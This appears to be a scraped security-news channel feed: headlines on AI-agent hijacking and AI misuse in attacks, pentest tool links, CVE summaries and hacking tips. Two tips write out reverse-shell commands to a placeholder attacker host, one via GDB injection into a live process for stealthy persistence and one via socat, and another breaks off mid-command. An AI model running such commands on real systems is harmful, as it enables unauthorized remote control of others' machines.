📰 ⚠️ ClawJacked Flaw Lets Malicious Sites Hijack Local OpenClaw AI Agents via WebSocket
OpenClaw has fixed a high-severity security issue that, if successfully exploited, could have allowed a malicious website to connect to a locally running artificial intelligence (AI) agent and take over control. "Our vulnerability lives in the core system itself – no plugins, no marketplace, no use…
#TheHackerNews #CyberNews #Exploit
🔗 Read More

📰 ⚠️ Thousands of Public Google Cloud API Keys Exposed with Gemini Access After API Enablement
New research has found that Google Cloud API keys, typically designated as project identifiers for billing purposes, could be abused to authenticate to sensitive Gemini endpoints and access private data. The findings come from Truffle Security, which discovered nearly 3,000 Google API keys (identif…
#TheHackerNews #CyberNews
🔗 Read More

📡 ⚠️ Researchers Uncover Method to Track Cars via Tire Sensors
Using low-cost receivers deployed along roads, academic researchers tracked drivers and their movement patterns. The post Researchers Uncover Method to Track Cars via Tire Sensors appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ North Korean APT Targets Air-Gapped Systems in Recent Campaign
Using Windows shortcut files, the APT deployed a new implant, a loader, a propagation tool, and two backdoors. The post North Korean APT Targets Air-Gapped Systems in Recent Campaign appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ Google Working Towards Quantum-Safe Chrome HTTPS Certificates
The internet giant is developing an evolution of the certificates based on Merkle Tree Certificates (MTCs). The post Google Working Towards Quantum-Safe Chrome HTTPS Certificates appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ US-Israel and Iran Trade Cyberattacks: Pro-West Hacks Cause Disruption as Tehran Retaliates
Both sides conduct hacking and other attacks, including the deployment of wiper malware, DDoS, and disruptions to critical infrastructure. The post US-Israel and Iran Trade Cyberattacks: Pro-West Hacks Cause Disruption as Tehran Retaliates appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ Hackers Weaponize Claude Code in Mexican Government Cyberattack
The AI was abused to write exploits, create tools, and automatically exfiltrate over 150GB of data. The post Hackers Weaponize Claude Code in Mexican Government Cyberattack appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

🐧 Inject Reverse Shell into Live Process
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

📋 Command:

gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

💡 Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:22 | @TheExploitLabX

android-pentest-tools #pentest
android-pentest-tools security / pentest utility.

https://github.com/BrunoOno0410/android-pentest-tools

arsenal #pentest
A collection of handmade tools and scripts for pentesting/CTF purposes

https://github.com/galizaragoza/arsenal

arunrar-dev #osint
Ethical hacker | Python automation, OSINT, and security tooling

https://github.com/arunrar-dev/arunrar-dev

pegasus-neo #exploit #osint #recon #web #wireless
PEGASUS-NEO is a comprehensive penetration testing framework designed for security professionals and ethical hackers. It combines multiple security tools and custom modules for reconnaissance, expl...

https://github.com/sobri3195/pegasus-neo

S3-Bucket-Scanner #cloud #osint #recon #scanner
S3 Bucket Listener is a red team focused reconnaissance tool built in Python to identify exposed and misconfigured AWS S3 buckets. It automates bucket enumeration, permission testing, and object li...

https://github.com/Slo-J42/S3-Bucket-Scanner

VulnScanner #exploit #scanner #web
VulnScanner is a lightweight, open-source tool for scanning web applications, networks, and local systems for security vulnerabilities. It features automated detection, extensible plugins, and clea...

https://github.com/therayyanawaz/VulnScanner

security-scanner #scanner
security-scanner security / pentest utility.

https://github.com/salphine/security-scanner

osTicketFileReadIntoRCE #exploit #scanner
Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations.

https://github.com/Clarissss/osTicketFileReadIntoRCE

🐧 Socat Interactive Reverse Shell
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Establishes a fully interactive reverse shell over TCP to an attacker's listener.

📋 Command:

socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

💡 Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).

🚩 Flags:
┃ TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).
┃ EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.
┃ pty: Allocates a pseudo-terminal for a fully interactive shell experience.
┃ stderr: Redirects standard error to the network connection.
┃ setsid: Creates a new session ID, detaching the process from the parent.
┃ sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.
┃ sane: Resets terminal settings to a standard, functional state.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:29 | @TheExploitLabX

🐧 Web Root Sensitive Data Scan
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Recursively searches a web root for common sensitive data patterns within various file types.

📋 Command:

find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:31 | @TheExploitLabX

🛡️ 🟠 CVE-2026-3399
CVSS 8.8 ████░ HIGH
A vulnerability was identified in Tenda F453 1.0.0.3. Affected by this vulnerability is the function fromGstDhcpSetSer of the file /goform/GstDhcpSetSer of the component httpd. The manipulation of the argument dips leads to buffer overflow. The attack may be initiated remotely. The exploit is publi…
#CVE #Vulnerability #CVSS8
🔗 Read More

🛡️ 🟠 CVE-2026-3400
CVSS 8.8 ████░ HIGH
A security flaw has been discovered in Tenda AC15 up to 15.13.07.13. Affected by this issue is some unknown functionality of the file /goform/TextEditingConversion. The manipulation of the argument wpapsk_crypto2_4g results in stack-based buffer overflow. The attack may be launched remotely. The ex…
#CVE #Vulnerability #CVSS8
🔗 Read More